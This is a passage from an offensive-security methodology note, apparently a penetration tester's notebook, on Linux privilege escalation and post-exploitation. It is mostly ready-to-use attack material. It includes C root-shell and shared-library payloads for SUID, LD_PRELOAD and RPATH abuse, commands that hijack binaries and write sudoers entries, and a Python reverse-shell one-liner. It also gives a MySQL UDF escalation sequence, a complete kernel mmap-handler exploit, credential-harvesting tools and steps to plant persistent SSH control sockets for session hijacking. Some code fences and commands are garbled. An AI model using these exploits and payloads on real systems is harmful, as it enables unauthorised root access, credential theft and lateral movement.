find /home -name "*id_dsa*" -print -exec cat {} 2>/dev/null \;

# ssh_config, sshd_config, ssh_host_rsa_key, ssh_host_dsa_key, etc.
ls -lah /etc/ssh/
```

**Services configuration**

The following commands can be used to list the configuration files present on the system. The files in the `/etc` folder are more likely to be active configurations and should be reviewed first.

```bash
find /etc -name '*.conf' -exec ls -lah {} 2>/dev/null \;
find / -name '*.conf' -exec ls -lah {} 2>/dev/null \;
```

**Hidden files**

To list the hidden files present on the system:

```bash
find / -name ".*" -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -lah {} \; 2>/dev/null
```

**World-writeable and "nobody" files**

The following commands can be used to list the files that are world writeable or that do not have a owner:

```bash
# All world-writable files excluding /proc and /sys
find / ! -path "*/proc/*" ! -path "/sys/*" -perm -2 -type f -exec ls -lah {} \; 2>/dev/null

# No owner files
find / -xdev \( -nouser -o -nogroup \) -print
```

**Others files of potential interest**

The following files and directories may contain interesting information:

```bash
/var/mail/
/var/www/
/var/log/
/etc/httpd/logs/

# Files owned by the compromised user
find / -user "<USERNAME>" -name "*" 2>/dev/null

# Files readable by the current user
find / -readable -type f 2>/dev/null

# Files accessible to a specific group the compromised user is a member of
find / -group "<GROUP_NAME>" -name "*" -exec ls -ld {} \; 2>/dev/null

# Files added / modified between the specified dates (YYYY-MM-DD). Can be used to detect custom content added on the box after installation.
find / ! -path "/proc/*" ! -path "/sys/*" -newermt "<START-DATE>" ! -newermt '<END-DATE>' -type f 2>/dev/null
find / -newermt "<START-DATE>" ! -newermt '<END-DATE>' -type f 2>/dev/null
find / -newermt "<START-DATE>" ! -newermt '<END-DATE>' 2>/dev/null
find / -newermt "<START-DATE>" ! -newermt '<END-DATE>' -exec ls -lah {} \; 2>/dev/null
```

#### Privileges escalation through SUID / SGID binaries

`SUID` / `SGID` binaries are executed, respectively, with the privileges of the user or group owner of the file. A number of misconfigurations of `SUID` / `SGID` binaries can be leveraged for privilege escalation.

Note that execution of `SUID` / `SGID` binaries only set the `effective uid (euid)` (to the one of the owner of the binary) and not the `real uid (ruid)`. The `euid` is the `uid` used by the current process, and the `ruid` is the "true" `uid` of the user, used to restore the original `uid` upon termination of the process. Some utilities, such as `sh` or `bash`, will drop the `euid` if it's not equal to the `ruid` for security reason.

**Find SUID/GUID files and directories**

The `find` utility can be used to list the `SUID` / `GUID` binaries present on the local system:

```bash
# Files with SUID set.
find / -user root -perm -4000 -ls 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -type f -user root -perm -4000 -exec stat -c "%A %a %n" {} \; 2>/dev/null

# Files with SGID set.
find / -user root -perm -2000 -ls 2>/dev/null
find / -type f -user root -perm -2000 -exec stat -c "%A %a %n" {} \; 2>/dev/null

# Files with both the SUID and SGID set.
find / -user root -perm -6000 -ls 2>/dev/null
find / -type f -user root -perm -6000 -exec stat -c "%A %a %n" {} \; 2>/dev/null
```

Look for `GTFOBins` or any unusual binaries in the list of `SUID` / `GUID` files enumerated.

**"GTFOBins"**

The `GTFOBins` are binaries that can be used to bypass local security restrictions and notably escape to execute commands through a shell.

The following binaries can be exploited to elevate privileges on the system if run with the `SUID` / `SGID` bit set:

|         |           |          |        |         |            |        |         |         |                   |
| ------- | --------- | -------- | ------ | ------- | ---------- | ------ | ------- | ------- | ----------------- |
| aria2c  | ash       | awk      | base64 | bash    | busybox    | cat    | chmod   | chown   | cp                |
| csh     | curl      | cut      | dash   | date    | dd         | diff   | dmsetup | docker  | ed                |
| emacs   | env       | expand   | expect | find    | flock      | fmt    | fold    | gdb     | git               |
| grep    | head      | ionice   | jjs    | jq      | jrunscript | ksh    | ld.so   | less    | lua               |
| make    | more      | mv       | mysql  | nano    | nc         | nice   | nl      | nmap    | node              |
| od      | perl      | pg       | php    | pic     | pico       | python | rlwrap  | rpm     | rpmquery          |
| rsync   | run-parts | scp      | sed    | setarch | shuf       | socat  | sort    | sqlite3 | start-stop-daemon |
| stdbuf  | strace    | tail     | tar    | taskset | tclsh      | tee    | telnet  | tftp    | time              |
| timeout | ul        | unexpand | uniq   | unshare | vi         | vim    | watch   | watch   | wget              |
| xargs   | xxd       | zip      | zsh    |         |            |        |         |         |                   |

For a more comprehensive / updated list of `GTFOBins`, and their respective privileges escalation sequences, please refer to:

```
https://gtfobins.github.io/
(https://github.com/GTFOBins/GTFOBins.github.io)
```

**Relative binary call and PATH exploit**

If a binary with the `SUID` / `SGID` bit set runs another binary with out specifying its full path, it can be leveraged to escalate privileges on the system. The vulnerability arise because the Linux operating system relies on the current user `PATH` environment variable to find the binary called and not the path of the owner of the `SUID` / `SGID` binary.

Note that this attack primitive is not applicable to binaries executed through `sudo`, if the `secure_path` value is set in the `sudoers` file. If set, the `PATH` defined in the `PATH` value will indeed be used instead of the `PATH` environment variable for the commands executed through `sudo`.

To detect that a `SUID` / `SGID` binary is calling others binaries with out specifying their full path, the Linux `strings` utility can be used:

```bash
strings <SUID_BINARY>

# Example of a vulnerable call for the "cp" utility.
cp /etc/shadow /etc/shadow.bak
```

The exploit sequence is as follow:

1. Include a writable by the current user folder in the `PATH` environment variable. Do not use a folder writable by all users as it could be used against the current user and would lower the system security level. `export PATH=/home/<USERNAME>:$PATH`
2. Create a binary named after the binary called by the `SUID` / `SGID` binary in the added folder. If the arguments used for the call permit it, `bash` or `sh` can be used directly. If not, the following C code can be used to compile a binary executing `/bin/bash` under the privilege of the user or group owner of the `SUID` / `SGID` binary. Refer to the `[General] Shells` note for reverse shell payloads if needed.

   ```c
   #include <stdlib.h>
   #include <unistd.h>

   void main() {
     // Bash drops its privilege if the effective uid is not the same as the real uid (if the -p option is not specified for bash).
     setreuid(geteuid(), geteuid());
     setregid(getegid(), getegid());
     system("/bin/bash");
   }
   ```
3. Execute the vulnerable `SUID` / `SGID` binary.

**Exploit through dynamic / shared library**

The search order for the Linux dynamic linker is as follow, as stated in the [`ld man page`](https://linux.die.net/man/1/ld):

1. Any directories specified by the `-rpath-link` option (only effective at link time).
2. Any directories specified by the `-rpath` option (only effective at runtime). This option sets the `RPATH` / `DT_RPATH` or `RUNPATH` / `DT_RUNPATH` attribute of a binary.
3. From the content of the `LD_RUN_PATH` environment variable (if neither `-rpath-link` nor `-rpath` options were used at compile time).
4. From the content of the `LD_LIBRARY_PATH` environment variable.
5. The default directories, normally `/lib` and `/usr/lib`.
6. The list of directories configured in the `/etc/ld.so.conf` file.

   The directories searched by the dynamic linker within the `/etc/ld.so.conf` configuration can be listed (in order) using the `ldconfig` utility:

   ```bash
   ldconfig -v 2>/dev/null | grep -v ^$'\t'
   ```

Note that for `SUID` / `SGID` binaries, the `LD_RUN_PATH` and `LD_LIBRARY_PATH` environment variables cannot be leveraged for privilege escalation, as the environment variables of the owner of the file are used (instead of the environment variable of the user executing the binary).

*Library exploit code example.*

The following exploit code can be used to compile a shared library executing `/bin/bash` as the user or group owner of the `SUID` / `SGID` binary (retrieved with `geteuid()`) upon being loaded:

```c
// Compile using:
// gcc -o <OUTPUT_LIBRARY>.so -shared -fPIC <CODE_FILE>
#include <stdlib.h>
#include <unistd.h>

static void library_main() __attribute__((constructor));

void library_main() {
  setreuid(geteuid(), geteuid());
  setregid(getegid(), getegid());
  system("/bin/bash");
}
```

*SUID / SGID binary compiled with the RPATH / RUNPATH option.*

As described in the dynamic library search order above, any shared library stored under the directory specified (at compile time) by the `-rpath` option will be loaded over libraries from any other locations. If an user has the rights to write files in a folder specified in the `RPATH` / `RUNPATH` of a `SUID` / `SGID` binary, the binary could be leveraged for privilege escalation.

The `objdump` utility, among others, can be used to determine if a given binary has been compiled with the `RPATH` option (`-rpath='<DIRECTORY_PATH>`):

```
objdump -x <SUID_BINARY> | grep -i "RPATH\|RUNPATH"
```

Then the aforementioned exploit code, or the [following code](https://www.voidsecurity.in/2012/10/exploit-exercise-rpath-vulnerability.html) to exploit more specifically the `libc.so` can be used to execute a shell with the privileges of the `SUID` / `SGID` binary owner:

```c
// Compile using:
// gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
  char *file = SHELL;
  char *argv[] = {SHELL,0};
  setresuid(geteuid(),geteuid(), geteuid());
  execve(file,argv,0);
}
```

*Dynamic / shared library link order hijacking.*

If an user has the right to create or modify files in a directory present in the dynamic linker search order, the loading of an arbitrary dynamic / shared library by an `SUID` / `SGID` binary (or a binary executed with higher privileges through `sudo`) could be induced.

The following scenarios may arise:

* rights to overwrite a legitimate library loaded by the targeted `SUID` / `SGID` binary. May impact other programs loading the library and induce system instability.
* rights to create a file in a directory taking precedence in the search order over the directory containing the legitimate library. May also impact other programs loading the library and induce system instability.
* rights to create a file in a directory in the search order and the targeted `SUID` / `SGID` binary attempts to load a non-existing library.

The `ldd` utility can be used to enumerate the shared libraries imported by a binary, while the `strace` utility can be used as a complement to trace the eventual libraries loaded at runtime with calls to `dlopen`.

The aforementioned exploit code can, for example, be used to execute a shell under the effective user id of root through a `SUID` / `SGID` binary. The library should simply be placed in the targeted directory or as a replacement of an existing library.

#### Privilege escalation through sudo

Note that, contrary to `SUID` / `SGID` binaries, the `sudo` utility set both the `effective uid (euid)` and the `real uid (ruid)` (to the `uid` of the user whose identity is assumed through `sudo`).

**"GTFOBins"**

Similarly to `SUID` / `GUID` binaries, any `GTFOBins` program that allows arbitrary commands execution can be leveraged for privilege escalation if defined to be executable with higher privileges in a `sudo` entry.

`GTFOBins` binaries are referenced on the [`gtfobins.github.io`](https://gtfobins.github.io/) website.

**LD\_PRELOAD**

If the `LD_PRELOAD` environment variable is set to be kept in the `sudo` configuration (`env_keep += LD_PRELOAD` set in the `/etc/sudoers` file), it may be possible to obtain code execution under the privileges assumed through `sudo`. The `LD_PRELOAD` environment variable can indeed be leveraged to induce the utility executed through `sudo` (with hopefully higher privileges) to load an arbitrary shared library (`.so`).

The following code example simply executes `/bin/bash` under the identity of the user executing the binary, and can be leveraged to elevate privilege (if loaded by a binary executed under a more privileged user through `sudo`). The `_init` special function gets called as the library is first opened.

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
  unsetenv("LD_PRELOAD");
  system("/bin/sh");
}
```

The `sudo` configuration can be retrieved using `sudo -l` (if the current user as the required privileges to execute `sudo`). The following example output shows a vulnerable `sudo` configuration allowing for privilege escalation:

```
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_reset, env_keep+=LD_PRELOAD

User user1 may run the following commands on aeae955a6e8c:
(root) NOPASSWD: /usr/bin/openssl
```

`gcc`, among other compilers, can be used to compile a shared library leveraging the exploitation code example above to obtain a shell under the privileges assumed through `sudo`.

```bash
# Compiles the exploitation code as a shared library.
# The "-nostartfiles" flag is needed to compile shared library making use of the "_init" function.
gcc -nostartfiles -fPIC -shared -o <LIBRARY>.o <CODE_FILE>.c

# Executes the arbitrary shared library through the targeted binary executed under sudo.
# The shared library file should be placed in a directory for which the targeted user has access.
sudo [-u <USERNAME>] LD_PRELOAD=<PATH>/<LIBRARY>.o <TARGETED_SUDO_COMMAND>
```

#### Linux groups

The membership of the compromised user to one of the groups listed below may, under certain circumstances, lead to a local elevation of privilege.

**staff**

The `staff` group allows users to add local modifications to the system `/usr/local` directory without needing root privileges. By default, no user belongs to this group.

Users belonging to this group can thus add and modify the binaries present in `/usr/local/bin` and `/usr/local/sbin`. As both directories are by default the two first entries in the `PATH` for, among others, the `root` user, the membership to this group can be leveraged to hijack `root` binary use, resulting in local privilege escalation.

```bash
root@x: whoami && echo $PATH
root
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

To simply hijack a binary call, an executable script with the binary name can be placed under `/usr/local/sbin` or `/usr/local/bin`. In order to maintain the system operability and attain a certain level of covertness, the legitimate binary can be called at the end of the script.

For example, the following commands can be used to hijack the specified binary and add the compromised user to the `sudoers` whenever root makes use of the binary:

```bash
# If needed, save the hijacked binary
cp /usr/local/sbin/<BINARY> /usr/local/sbin/.<BINARY>

echo '#!/bin/bash' > /usr/local/sbin/<BINARY>
echo '/bin/echo "<USERNAME>    ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> /usr/local/sbin/<BINARY>
echo '/<FULL_PATH>/<BINARY> "$@"' >> /usr/local/sbin/<BINARY>
chmod +x /usr/local/sbin/<BINARY>
```

A reverse shell commands can be used as well, refer to the `[General] shells` note for potential reverse shell one-liners and scripts.

The `pspy` utility can be used to monitor the local process to check if a recurring task executed under `root` privileges (`UID=0`) could be immediately exploited.

#### Unpatched kernel and services

**Compilers/languages installed/supported**

The supported languages may be leveraged to compile exploit against the operating system / kernel and services.

To find out which compilers / languages can be used:

```bash
# All-in-one
find / -type f \( -name "gcc" -or -name "g++" -or -name "clang" -or -name "python" -or -name "python2" -or -name "python3" -or -name "ruby" -or -name "perl" -or -name "php" \) -exec  ls -lah {} \; 2>/dev/null

# C / C++
find / -name gcc* 2>/dev/null
find / -name g++* 2>/dev/null
find / -name clang* 2>/dev/null

# Python
python --version
find / -name python* 2>/dev/null

# Ruby
ruby --version
find / -name ruby* 2>/dev/null

# Perl
perl --version
find / -name perl* 2>/dev/null

# PHP
php --version
find / -name php* 2>/dev/null
```

If no compilers are available on the system, it is recommended to compile the exploit on a similar kernel and upload the binary to the target, refer to the `General - File transfer` note to do so.

Verify the transferred binary integrity using the Linux builtin `md5sum`.

**OS and kernel versions**

To retrieve the Linux operating system and kernel versions:

```bash
cat /etc/*-release
cat /etc/lsb-release
uname -a
cat /proc/version
rpm -q kernel
```

**Installed packages and binaries**

The installed programs should be reviewed for potential known vulnerabilities. To review the installed programs on the target:

```bash
dpkg -l
dpkg -l <PACKAGE_NAME>

apt list --installed

rpm -qa

ls -lah /usr/bin
ls -lah /usr/sbin
```

**Exploits detection tools**

The enumeration scripts linux-exploit-suggester.sh can be used on or off target, if provided with the `uname -a` output and the installed packages list (`dpkg -l` or `rpm -qa` command output), to enumerate potential exploits for the targeted box.

Refer to the "Enumeration - Enumeration scripts" part above for more information and usage guides to the most well known local exploit suggester scripts.

**File transfer**

To transfer the exploit code on the target box, refer to the `General - File transfer` note.

#### Processes and services

The processes running should be reviewed for known exploits, with a special attention given to the processes running under root privileges. The command line arguments used to start the process should be reviewed for sensible information. Additionally, a deeper analyze of non standard processes should be conducted with particular attention given to processes running as root.

**Enumerate running processes and services**

By default on Linux, all processes can be listed by unprivileged and non owner users. However, the system can be hardened in order to limit processes listing to self owned processes. This configuration is made through the mount option `hidepid` on the `proc` file system. The following values can be defined for the attribute:

* `hidepid=0` (default), all world-readable `/proc/<PID>/*` files, meaning every process can be listed and potentially sensible information retrieved ;
* `hidepid=1`, directories entry in the `proc` file system (`PID` folders) can be listed but files and subdirectories accessed may not accessed, except for owned processes ;
* `hidepid=2`, As for mode 1, but in addition the `/proc/<PID>` directories belonging to other users become invisible. This doesn't hide the fact that a process with a specific PID value exists (it can be learned by other means, for example, by `kill -0 $PID`), but it hides a process's UID and GID, which could otherwise be learned by employing `stat` on a `/proc/<PID>` directory. If configured, this option greatly limit the information available and notably makes it impossible to determine if processes are started by privileged users.

Additionally, the mount option `gid` specifies the ID of a group whose members are authorized to learn process information otherwise prohibited by `hidepid`. In other words, users in this group behave as though the `proc` file system was mounted with `hidepid=0`.

The current processes can be listed using the `ps` Linux utility:

## Depending on the ps utility version either a or e may be used to include processes belonging to other users

ps aux

## Includes environment variable, verbose

ps auxeww

ps aux | grep root ps ef | grep root

## Listening services

netstat -antup ss -twurp

```

The information retrieved by the Linux `ps` utility can also be accessed
manually directly in the process directory:
  - `/proc/<PID>/status`: provides meta-data information such as the process
  umask, running state, PID, PID of the parent process if any, and real and
  effective UIDs of the process owner.
  - `/proc/<PID>/cmdline`: contains the complete command line arguments for the
  process, unless the process is a zombie.
  - `/proc/<PID>/environ`: contains the initial environment defined when the
  process was started.

###### Process snooping

Process snooping as an unprivileged user consists in monitoring the processes,
and especially the short lived processes, being run on the system. Process
snooping draws its interest from the fact that sensible information can be
visible in the `proc` file system (such as the CLI arguments and other
information identified above) as long as a process is running and disappears
once the process comes to an halt.

While process snooping can be done through an infinite loop scanning of the
`proc` file system for creation of new PID subdirectories, a more stealthier and
resource-efficient approach is to rely on the `inotify` API to get notified
whenever files are created, modified, deleted, accessed in `/usr` (libraries),
`/tmp`, `/var` (log files), etc.

This method is implemented by the `pspy` Go tool. Pre-built statically compiled
32 and 64 bits binaries can be retrieved on GitHub.
By default, `pspy` monitors the following directories: `/usr`, `/tmp`, `/etc`,
`/home`, `/var`, and `/opt`. Additional directories can be specified using the
`-r` option.


# -p: enables printing commands to stdout
# -f: enables printing file system events to stdout
# -c: print events in different colors. Red for new processes, green for new Inotify events
# -i: interval in milliseconds between procfs scans

pspy64 -pfc -i 1000
```

**MySQL**

If a `MySQL` service is running under root privileges and `MySQL` credentials for an user with FILE privileges are known, local privilege escalation can be achieved.

Refer to the `File system - Clear text passwords in files` part above for finding potential MySQL credentials present on the server. A blank password for the root user account is worth trying as well, especially if the `MySQL` service is only exposed locally on the server.

The `raptor_udf.c` (<https://www.exploit-db.com/raw/1518>) dynamic library can be used to leverage those pre requisites to conduct a local privilege escalation.

gcc -g -c raptor\_udf.c gcc -g -shared -W1,-soname,raptor\_udf.so -o raptor\_udf.so raptor\_udf.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob);

## Do not forget to change

mysql> insert into foo values(load\_file('/raptor\_udf.so')); mysql> select \* from foo into dumpfile '/usr/lib/raptor\_udf.so'; mysql> create function do\_system returns integer soname 'raptor\_udf.so'; mysql> select \* from mysql.func;

* +-----------+-----+---------------+----------+
* \| name | ret | dl | type |
* +-----------+-----+---------------+----------+
* \| do\_system | 2 | raptor\_udf.so | function |
* +-----------+-----+---------------+----------+

## Test the privileges obtained

mysql> select do\_system('id > /tmp/out; chmod 0755 /tmp/out');

## Refer to General - Shells - Binary - Linux C binary for SUID shell for the source C code for the SUID sh binary.

mysql> select do\_system('chown root.root /tmp/suid; chmod 4755 /tmp/suid');

mysql> ! sh sh$ /tmp/suid

````


### Init.d

### Cron jobs and Scheduled tasks

Look for tasks running as root from script that you can modify:

```bash
crontab -l
crontab -u <USERNAME> -l

ls -lah /var/spool/cron
ls -lahR /var/spool/cron
ls -al /etc/ | grep cron
grep -i CRON /var/log/syslog
cat /etc/cron*
cat /var/spool/cron/crontabs/root
````

#### Python library hijacking

When importing a library, using `import <LIBRARY_NAME>`, the Python interpreter will first search in the interpreted script folder for the library and then cycle through a predefined list of libraries folders.

A Python library hijacking can be leveraged to elevate privileges on the system whenever the current user has write access either in the Python libraries import folders or in the directory of a Python script that can (`sudo` and `suid`) or will (`cron`, `init.d`, etc.) be run with higher privileges.

The following commands can be used to enumerate the Python import libraries folders and list their access rights:

```bash
python -c 'import sys; print sys.path'
python -c 'import sys; print "\n".join(sys.path)' | xargs ls -ld
```

Potentially exploitable Python scripts should be identified when conducting the privileges escalation methodology. Additionally, the `find` Linux built-in can be used to exhaustively list all Python scripts present on the system as well as folders containing a Python and writable by the current user for further investigation:

```bash
# List all Python scripts present on the system
find / -name '*.py' | grep -v -e "/usr/lib/python\|/usr/local/lib/python"

# List all folders writable by the current user that contains a Python script
find / -name '*.py' -printf "%h\0"  2>/dev/null | xargs -0 sh -c 'for p; do [ -w "$p" ] && echo "$p"; done' - | sort -u
```

In order to successfully exploit a Python library hijacking, it is recommended to completely copy the hijacked library, only adding a payload to the existing library code. The following payloads can be used:

```bash
# Add current user to the suoders
/bin/echo "<USERNAME>    ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers

# Reverse shell one-liner
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```

For more Python reverse shell payloads, refer to the `[General] Shells` note.

#### Kernel drivers `mmap` handler exploitation

Traditionally, the standard practice is to build device drivers as kernel modules loaded to run in the kernel (`Ring 0` on x86 CPUs). While some device drivers can also run in user land, this approach is usually not preferred, mainly for performance and access sharing reasons. Although not common, drivers may also be built statically into the kernel file on disk. Devices drivers are thus usually running under high privileges and should be considered in the attack surface for privileges escalation.

The access and communications to the drivers are made using device files, located in the `/dev` directory. These devices drivers files may support all of the regular functions of normal Linux files such as `open`, `read` and `close` operations as well as `mmap` operations, which are used to create a new mapping in the virtual address space of the calling process. The main purpose of using an `mmap` handler in a driver is to speed up data exchange between kernel space and user land, by setting a memory buffer in kernel space accessible from user land without the need of additional syscalls.

A possible issue in drivers `mmap` implementation is the lack of verification of process supplied size allocation range. A vulnerable driver could potentially allows a user space process to `mmap` all of the physical memory address space of the kernel memory.

A total, or partial, mmaping of the kernel memory could be leveraged to elevate the privileges of the calling process by modifying its `cred` struct, which contains, among others variables, the process `uids` and `gids`:

```c
struct cred {
  kuid_t uid; /* real UID of the task */
  kgid_t gid; /* real GID of the task */
  kuid_t suid; /* saved UID of the task */
  kgid_t sgid; /* saved GID of the task */
  kuid_t euid; /* effective UID of the task */
  [...]
}
```

The exploitation process is as follow:

1. Retrieve the current process credentials (`uids`, `gids` and `capabilities`).
2. `mmap` kernel space memory using a vulnerable driver
3. Scan the mmaped memory to find a pattern of 8 integers which matches the current process credentials
4. Replace the `uids`/`gids` with a value of 0 (`root`) and call `getuid()` to check if the current process `uid` was modified
5. a. if the `uid` of the current process was modified, privileges escalation has been achieved and a call to `/bin/sh`, for example, can be used to execute commands as `root` b. Otherwise, the previous `uids`/`gids` values are restored and the search, repeating from step 3, continues

Note that sometimes the whole address space of the kernel memory may not be mapped, and the process above will fail as the current process credentials may not be present in the mapped memory address space. In those specific cases, and in a black box approach, a `cred` structure spray can be undertaken, by creating a large number of child processes, each conducting the exploitation steps above and implemented to notify the parent process in case of successful exploitation.

For more information and a detailed explanation of the attack, refer to the whitepaper `MWR Labs Whitepaper - Kernel Driver mmap Handler Exploitation`:

```
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-mmap-exploitation-whitepaper-2017-09-18.pdf
```

**Enumeration of devices drivers supporting `mmap` operations**

To conduct `mmap` operations on a device driver, `write` permission on the device drive file is needed. The following command can be used to enumerate the device drivers files the current user as `write` access to:

find /dev -perm -2 -exec ls -ld {} ; 2>/dev/null | grep -v "lrwxrwxrwx"

````

The following `C` code can then be used to conduct a `mmap` operation on the
previously enumerated device drivers files:

```c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define NUMBER_OF_STRING 12
#define MAX_STRING_SIZE 100

int main(int argc, char * const * argv) {
  printf("[+] PID: %d\n", getpid());

  char arr[NUMBER_OF_STRING][MAX_STRING_SIZE] = {
    "/dev/<DRIVER_FILE1>",
    "/dev/<DRIVER_FILE2>"
  };

  for (int i = 0; i < NUMBER_OF_STRING; i++) {

    printf("[+] Trying devices: '%s' ", arr[i]);

    int fd = open(arr[i], O_RDWR);
    if (fd < 0) {
      printf("  [-] Open failed!\n");
      continue;
    }
    printf("  [+] Open OK fd: %d\n", fd);

    unsigned long size = 0xf0000000;
    unsigned long mmapStart = 0x42424000;
    unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ
    | PROT_WRITE, MAP_SHARED, fd, 0x0);

    if (addr == MAP_FAILED) {
      perror("  [-] Failed to mmap: ");
      close(fd);
      continue;
    }

    printf("  [+] mmap OK addr: %lx\n", addr);
    int stop = getchar();

    close(fd);
  }

  return 0;
}
````

The following result demonstrates that the specific device driver supports `mmap` operations:

```bash
# Current process PID
[+] PID: <PID>

[+] Trying devices: '/dev/<DRIVER_FILE>'
  [+] Open OK fd: x
  [+] mmap OK addr: 42424000

# Current process memory containing the mmaped memory at 42424000
cat /proc/<PID>/maps
[...]
42424000-132424000 rw-s 00000000 00:06 440
```

**Exploitation of a vulnerable `mmap` handler device driver implementation**

The following `C` code implements the exploitation process presented above and open an `sh` interpreter in case of successful modification of the current process `uids`/`gids`:

```c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define DRIVER "/dev/<DRIVER_FILE>"

int main(int argc, char * const * argv) {
  printf("[+] PID: %d\n", getpid());

  printf("[+] Exploiting driver: '%s' ", DRIVER);

  int fd = open(DRIVER, O_RDWR);
  if (fd < 0) {
    printf("[-] Open failed!\n");
    return -1;
  }
  printf("[+] Open OK fd: %d\n", fd);

  unsigned long size = 0xf0000000;
  unsigned long mmapStart = 0x42424000;
  unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ
  | PROT_WRITE, MAP_SHARED, fd, 0x0);
  if (addr == MAP_FAILED) {
    perror("[-] Failed to mmap: ");
    close(fd);
    return -1;
  }

  printf("[+] mmap OK addr: %lx\n", addr);

  unsigned int uid = getuid();
  printf("[+] UID: %d\n", uid);

  unsigned int credIt = 0;
  unsigned int credNum = 0;
  while (((unsigned long)addr) < (mmapStart + size - 0x40))
  {
    credIt = 0;
    if (
      addr[credIt++] == uid &&
      addr[credIt++] == uid &&
      addr[credIt++] == uid &&
      addr[credIt++] == uid &&
      addr[credIt++] == uid &&
      addr[credIt++] == uid &&
      addr[credIt++] == uid &&
      addr[credIt++] == uid
    ) {
      credNum++;
      printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr,
      credNum);
      credIt = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      addr[credIt++] = 0;
      if (getuid() == 0) {
        puts("[+] GOT ROOT!");
        // Should be redondant - will trigger an "Operation not permitted" if the uids / gids somehow failed
        setuid(0);
        setgid(0);
        execl("/bin/sh", "sh", 0);
        break;
      }
      else
      {
        credIt = 0;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
        addr[credIt++] = uid;
      }
    }
    addr++;
  }
  puts("[+] Scanning loop END");
  fflush(stdout);
  int stop = getchar();
  return 0;
}
```

#### Root write access

```
/bin/echo "<USERNAME>    ALL=(ALL:ALL) ALL" > /etc/sudoers
```

#### Capabilities

<https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099>

***

#### References

<https://book.hacktricks.xyz/linux-unix/privilege-escalation>

<https://www.hackingarticles.in/linux-privilege-escalation-using-ld\\_preload/>

<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=299007>

<https://unix.stackexchange.com/questions/47208/what-is-the-difference-between-kernel-drivers-and-kernel-modules>

<https://bitvijays.github.io/LFC-BinaryExploitation.html>

<https://www.boiteaklou.fr/Abusing-Shared-Libraries.html>


# Post exploitation

### Credentials dumping

**Automated credentials harvesting**

The `LinPEAS` shell script and the `LaZagne` Python script (also provided as a standalone binary) can be used to harvest credentials locally stored on a Linux system. While more geared toward local privilege escalation, `LinPEAS` includes a number of credentials searches and is complimentary to `LaZagne`.

```
linpeas.sh -s -a

lazagne_linux all
```

**SSH keys exfiltration**

The metasploit module post/multi/gather/ssh\_creds will collect the contents of all users' .ssh directories on the targeted machine. Additionally, known\_hosts and authorized\_keys and any other files are also downloaded.

```
msf > use post/multi/gather/ssh_creds
```

Lateral movement through SSH brute force is possible using private SSH keys, refer to the \[L7] SSH note.

### SSH hijacking

Established SSH sessions can be hijacked to move laterally using the hijacked user identity with out knowledge of its password or private key.

If SSH connection multiplexing, using the `ControlMaster` feature, or `Agent forwarding` are enabled, the SSH sessions stored on the compromised system can be hijacked:

* connection multiplexing allows for the hijacking of SSH connections made from the compromised host
* `Agent forwarding` allows for the hijacking of SSH connections made to the remote host

**Prerequisites**

*ControlMaster*

The SSH `ControlMaster` feature permits the multiplexing, the ability to send more than one signal over a single line or connection, of SSH connections. The feature can be enabled and configured both in global or local `ssh_config`: `/etc/ssh/ssh_config` or `~/.ssh/config`. Note that `ControlMaster` is enabled by default.

If enabled, a control socket will be created on the file system and will be reused for future connections of the given user to the remote host with out needing a re-authentication. Control sockets are stored at the location specified by the `ControlPath` directive. The directive `ControlPath /tmp/ssh-%r@%h:%p` for example will result in control sockets stored in `/tmp`: `/tmp/ssh-XXXXXXXXXXXX`.

Note that control sockets will be removed automatically after the master connection has ended if the `ControlPersist` directive is not configured. Otherwise, if `ControlPersist` is specified and set to:

* `yes`, then the master connection will remain open in the background to accept new connections until either killed explicitly or closed with -O ;
* a time, then the master connection will remain open for the designated time or until the last multiplexed session is closed.

The `ControlMaster` feature can be enabled using the following commands:

```
# under Host *, which can be added if needed
echo "Host *" >> /etc/ssh/ssh_config
echo "    ControlMaster auto" >> /etc/ssh/ssh_config
echo "    ControlPersist yes
echo "    ControlPath /tmp/ssh-%r@%h:%p
```

*Agent authentication and forwarding*

`ssh-agent` is an helper program that implements an authentication mechanism used by `OpenSSH` as a form of SSO. The programs will hold in memory private keys used for public key authentication so that SSH connections can be made using the agent directly in order to avoid re entering the private key password for each connection.

For interfacing with the `ssh` client, the agent provides a UNIX socket at `/tmp/ssh-<RANDOM>/agent.<AGENT_PID>` and publishes it in the `SSH_AUTH_SOCK` environment variable.

